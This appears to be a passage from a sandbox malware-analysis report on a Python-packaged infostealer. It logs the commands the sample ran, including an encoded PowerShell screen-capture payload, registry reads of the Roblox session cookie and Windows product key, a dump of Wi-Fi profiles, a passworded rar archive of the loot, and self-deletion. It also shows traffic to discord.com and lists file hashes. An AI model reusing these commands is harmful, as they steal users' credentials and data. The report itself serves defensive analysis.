QAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pyunztpq\pyunztpq.cmdline"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD736.tmp" "c:\Users\Admin\AppData\Local\Temp\pyunztpq\CSC2BBA5BE010774459BDD0371A412977D3.TMP"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI33122\rar.exe a -r -hp"horns123" "C:\Users\Admin\AppData\Local\Temp\5Q7ls.zip" *"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Users\Admin\AppData\Local\Temp\_MEI33122\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI33122\rar.exe a -r -hp"horns123" "C:\Users\Admin\AppData\Local\Temp\5Q7ls.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\loader.exe""

C:\Windows\system32\PING.EXE

ping localhost -n 3

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 216.58.204.67:443 gstatic.com tcp
US 8.8.8.8:53 67.204.58.216.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.135.232:443 discord.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 232.135.159.162.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 68.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 71.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 123.10.44.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI33122\python311.dll

MD5 1e76961ca11f929e4213fca8272d0194
SHA1 e52763b7ba970c3b14554065f8c2404112f53596
SHA256 8a0c27f9e5b2efd54e41d7e7067d7cb1c6d23bae5229f6d750f89568566227b0
SHA512 ec6ed913e0142a98cd7f6adced5671334ec6545e583284ae10627162b199e55867d7cf28efeaadce9862c978b01c234a850288e529d2d3e2ac7dbbb99c6cde9b

C:\Users\Admin\AppData\Local\Temp\_MEI33122\VCRUNTIME140.dll

MD5 870fea4e961e2fbd00110d3783e529be
SHA1 a948e65c6f73d7da4ffde4e8533c098a00cc7311
SHA256 76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644
SHA512 0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88

memory/3112-25-0x00007FFDCF130000-0x00007FFDCF71A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI33122\base_library.zip

MD5 2efeab81308c47666dfffc980b9fe559
SHA1 8fbb7bbdb97e888220df45cc5732595961dbe067
SHA256 a20eeb4ba2069863d40e4feab2136ca5be183887b6368e32f1a12c780a5af1ad
SHA512 39b030931a7a5940edc40607dcc9da7ca1bf479e34ebf45a1623a67d38b98eb4337b047cc8261038d27ed9e9d6f2b120abbf140c6c90d866cdba0a4c810ac32c

C:\Users\Admin\AppData\Local\Temp\_MEI33122\_ctypes.pyd

MD5 7ecc651b0bcf9b93747a710d67f6c457
SHA1 ebb6dcd3998af9fff869184017f2106d7a9c18f3
SHA256 b43963b0883ba2e99f2b7dd2110d33063071656c35e6575fca203595c1c32b1a
SHA512 1ff4837e100bc76f08f4f2e9a7314bcaf23ebfa4f9a82dc97615cde1f3d29416004c6346e51afc6e61360573df5fcd2a3b692fd544ccad5c616fb63ac49303c5

C:\Users\Admin\AppData\Local\Temp\_MEI33122\libffi-8.dll

MD5 87786718f8c46d4b870f46bcb9df7499
SHA1 a63098aabe72a3ed58def0b59f5671f2fd58650b
SHA256 1928574a8263d2c8c17df70291f26477a1e5e8b3b9ab4c4ff301f3bc5ce5ca33
SHA512 3abf0a3448709da6b196fe9238615d9d0800051786c9691f7949abb3e41dfb5bdaf4380a620e72e1df9e780f9f34e31caad756d2a69cad894e9692aa161be9f7

C:\Users\Admin\AppData\Local\Temp\_MEI33122\libcrypto-1_1.dll

MD5 e5aecaf59c67d6dd7c7979dfb49ed3b0
SHA1 b0a292065e1b3875f015277b90d183b875451450
SHA256 9d2257d0de8172bcc8f2dba431eb91bd5b8ac5a9cbe998f1dcac0fac818800b1
SHA512 145eaa969a1a14686ab99e84841b0998cf1f726709ccd177acfb751d0db9aa70006087a13bf3693bc0b57a0295a48c631d0b80c52472c97ebe88be5c528022b4

C:\Users\Admin\AppData\Local\Temp\_MEI33122\_ssl.pyd

MD5 8f94142c7b4015e780011c1b883a2b2f
SHA1 c9c3c1277cca1e8fe8db366ca0ecb4a264048f05
SHA256 8b6c028a327e887f1b2ccd35661c4c7c499160e0680ca193b5c818327a72838c
SHA512 7e29163a83601ed1078c03004b3d40542e261fda3b15f22c2feec2531b05254189ae1809c71f9df78a460bf2282635e2287617f2992b6b101854ddd74fcad143

C:\Users\Admin\AppData\Local\Temp\_MEI33122\_sqlite3.pyd

MD5 72a0715cb59c5a84a9d232c95f45bf57
SHA1 3ed02aa8c18f793e7d16cc476348c10ce259feb7
SHA256 d125e113e69a49e46c5534040080bdb35b403eb4ff4e74abf963bce84a6c26ad
SHA512 73c0e768ee0c2e6ac660338d2268540254efe44901e17271595f20f335ada3a9a8af70845e8a253d83a848d800145f7ecb23c92be90e7dd6e5400f72122d09de

C:\Users\Admin\AppData\Local\Temp\_MEI33122\_socket.pyd

MD5 57dc6a74a8f2faaca1ba5d330d7c8b4b
SHA1 905d90741342ac566b02808ad0f69e552bb08930
SHA256 5b73b9ea327f7fb4cefddd65d6050cdec2832e2e634fcbf4e98e0f28d75ad7ca
SHA512 5e2b882fc51f48c469041028b01f6e2bfaf5a49005ade7e82acb375709e74ad49e13d04fd7acb6c0dbe05f06e9966a94753874132baf87858e1a71dcffc1dc07

C:\Users\Admin\AppData\Local\Temp\_MEI33122\_queue.pyd

MD5 f1e7c157b687c7e041deadd112d61316
SHA1 2a7445173518a342d2e39b19825cf3e3c839a5fe
SHA256 d92eadb90aed96acb5fac03bc79553f4549035ea2e9d03713d420c236cd37339
SHA512 982fd974e5892af9f360dc4c7ccaa59928e395ccef8ea675fadb4cf5f16b29350bf44c91ea1fd58d90cbca02522eba9543162e19c38817edbfd118bc254515da

C:\Users\Admin\AppData\Local\Temp\_MEI33122\_lzma.pyd

MD5 71f0b9f90aa4bb5e605df0ea58673578
SHA1 c7c01a11b47dc6a447c7475ef6ba7dec7c7ba24e
SHA256 d0e10445281cf3195c2a1aa4e0e937d69cae07c492b74c9c796498db33e9f535
SHA512 fc63b8b48d6786caecaf1aa3936e5f2d8fcf44a5a735f56c4200bc639d0cb9c367151a7626aa5384f6fc126a2bd0f068f43fd79277d7ec9adfc4dcb4b8398ae2

C:\Users\Admin\AppData\Local\Temp\_MEI33122\_hashlib.pyd

MD5 7edb6c172c0e44913e166abb50e6fba6
SHA1 3f8c7d0ff8981d49843372572f93a6923f61e8ed
SHA256 258ad0d7e8b2333b4b260530e14ebe6abd12cae0316c4549e276301e5865b531
SHA512 2a59cc13a151d8800a29b4f9657165027e5bf62be1d13c2e12529ef6b7674657435bfd3cc16500b2aa7ce95b405791dd007c01adf4cdd229746bd2218bfdc03f

C:\Users\Admin\AppData\Local\Temp\_MEI33122\_decimal.pyd

MD5 0cfe09615338c6450ac48dd386f545fd
SHA1 61f5bd7d90ec51e4033956e9ae1cfde9dc2544fe
SHA256 a0fa3ad93f98f523d189a8de951e42f70cc1446793098151fc50ba6b5565f2e3
SHA512 42b293e58638074ce950775f5ef10ec1a0bb5980d0df74ad89907a17f7016d68e56c6ded1338e9d04d19651f48448deee33a0657d3c03adba89406d6e5f10c18

C:\Users\Admin\AppData\Local\Temp\_MEI33122\_bz2.pyd

MD5 83b5d1943ac896a785da5343614b16bc
SHA1 9d94b7f374030fed7f6e876434907561a496f5d9
SHA256 bf79ddbfa1cc4df7987224ee604c71d9e8e7775b9109bf4ff666af189d89398a
SHA512 5e7dcc80ac85bd6dfc4075863731ea8da82edbb3f8ffafba7b235660a1bd0c60f7dfde2f7e835379388de277f9c1ceae7f209495f868cb2bd7db0de16495633c

C:\Users\Admin\AppData\Local\Temp\_MEI33122\unicodedata.pyd

MD5 908e8c719267692de04434ab9527f16e
SHA1 5657def35fbd3e5e088853f805eddd6b7b2b3ce9
SHA256 4337d02a4b24467a48b37f1ccbcebd1476ff10bdb6511fbb80030bbe45a25239
SHA512 4f9912803f1fa9f8a376f56e40a6608a0b398915b346d50b6539737f9b75d8e9a905beb5aace5fe69ba8847d815c600eb20330e79a2492168735b5cfdceff39a

C:\Users\Admin\AppData\Local\Temp\_MEI33122\sqlite3.dll

MD5 abe8eec6b8876ddad5a7d60640664f40
SHA1 0b3b948a1a29548a73aaf8d8148ab97616210473
SHA256 26fc80633494181388cf382f417389c59c28e9ffedde8c391d95eddb6840b20d
SHA512 de978d97c04bad9ebb3f423210cbcb1b78a07c21daadc5c166e00206ece8dcd7baac1d67c84923c9cc79c8b9dfbec719ce7b5f17343a069527bba1a4d0454c29

C:\Users\Admin\AppData\Local\Temp\_MEI33122\select.pyd

MD5 938c814cc992fe0ba83c6f0c78d93d3f
SHA1 e7c97e733826e53ff5f1317b947bb3ef76adb520
SHA256 9c9b62c84c2373ba509c42adbca01ad184cd525a81ccbcc92991e0f84735696e
SHA512 2f175f575e49de4b8b820171565aedb7474d52ae9914e0a541d994ff9fea38971dd5a34ee30cc570920b8618393fc40ab08699af731005542e02a6a0095691f0

C:\Users\Admin\AppData\Local\Temp\_MEI33122\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI33122\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI33122\libssl-1_1.dll

MD5 7bcb0f97635b91097398fd1b7410b3bc
SHA1 7d4fc6b820c465d46f934a5610bc215263ee6d3e
SHA256 abe8267f399a803224a1f3c737bca14dee2166ba43c1221950e2fbce1314479e
SHA512 835bab65d00884912307694c36066528e7b21f3b6e7a1b9c90d4da385334388af24540b9d7a9171e89a4802612a8b6523c77f4752c052bf47adbd6839bc4b92c

memory/3112-32-0x00007FFDE4DF0000-0x00007FFDE4DFF000-memory.dmp

memory/3112-31-0x00007FFDE3A20000-0x00007FFDE3A43000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI33122\blank.aes

MD5 2e7b2cbba65c0037e41ee1e7162745aa
SHA1 25795182469ad2816d01e83b82cbcb3f4b82c919
SHA256 3660ab62ede4301ba51ecf39c8676e52bde6cad60436e353062cff73ee19eabb
SHA512 8a0fad70fd3a51cda786b8b8d31465779af368754826b34a5b96ed46dc609bfc9307910accfba57750cf010f5db84665f509f73155821d02630d4a1cc8b52f73

memory/3112-54-0x00007FFDDE8C0000-0x00007FFDDE8ED000-memory.dmp

memory/3112-56-0x00007FFDDE8A0000-0x00007FFDDE8B9000-memory.dmp

memory/3112-58-0x00007FFDDDDB0000-0x00007FFDDDDD3000-memory.dmp

memory/3112-60-0x00007FFDCEA00000-0x00007FFDCEB6F000-memory.dmp

memory/3112-64-0x00007FFDDF2F0000-0x00007FFDDF2FD000-memory.dmp

memory/3112-62-0x00007FFDE4C90000-0x00007FFDE4CA9000-memory.dmp

memory/3112-71-0x00007FFDCE680000-0x00007FFDCE9F5000-memory.dmp

memory/3112-73-0x00007FFDCF900000-0x00007FFDCF9B8000-memory.dmp

memory/3112-76-0x00007FFDDF2A0000-0x00007FFDDF2B4000-memory.dmp

memory/3112-75-0x00007FFDE3A20000-0x00007FFDE3A43000-memory.dmp

memory/3112-72-0x00000234A7180000-0x00000234A74F5000-memory.dmp

memory/3112-78-0x00007FFDDF290000-0x00007FFDDF29D000-memory.dmp

memory/3112-70-0x00007FFDDF2C0000-0x00007FFDDF2EE000-memory.dmp

memory/3112-69-0x00007FFDCF130000-0x00007FFDCF71A000-memory.dmp

memory/3112-82-0x00007FFDCF730000-0x00007FFDCF84C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2fedreji.ogm.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3052-89-0x0000025A37A00000-0x0000025A37A22000-memory.dmp

memory/3112-177-0x00007FFDDDDB0000-0x00007FFDDDDD3000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

\??\c:\Users\Admin\AppData\Local\Temp\pyunztpq\pyunztpq.cmdline

MD5 c1550acea9420ba06f53e471b692319f
SHA1 09499b0c1b5187f392f29ea07c675c4ebbe82bdf
SHA256 1bda7a6f4ea07ba5fa5a63edbb7c75210e731a0b97fabd8e57acefb60df20602
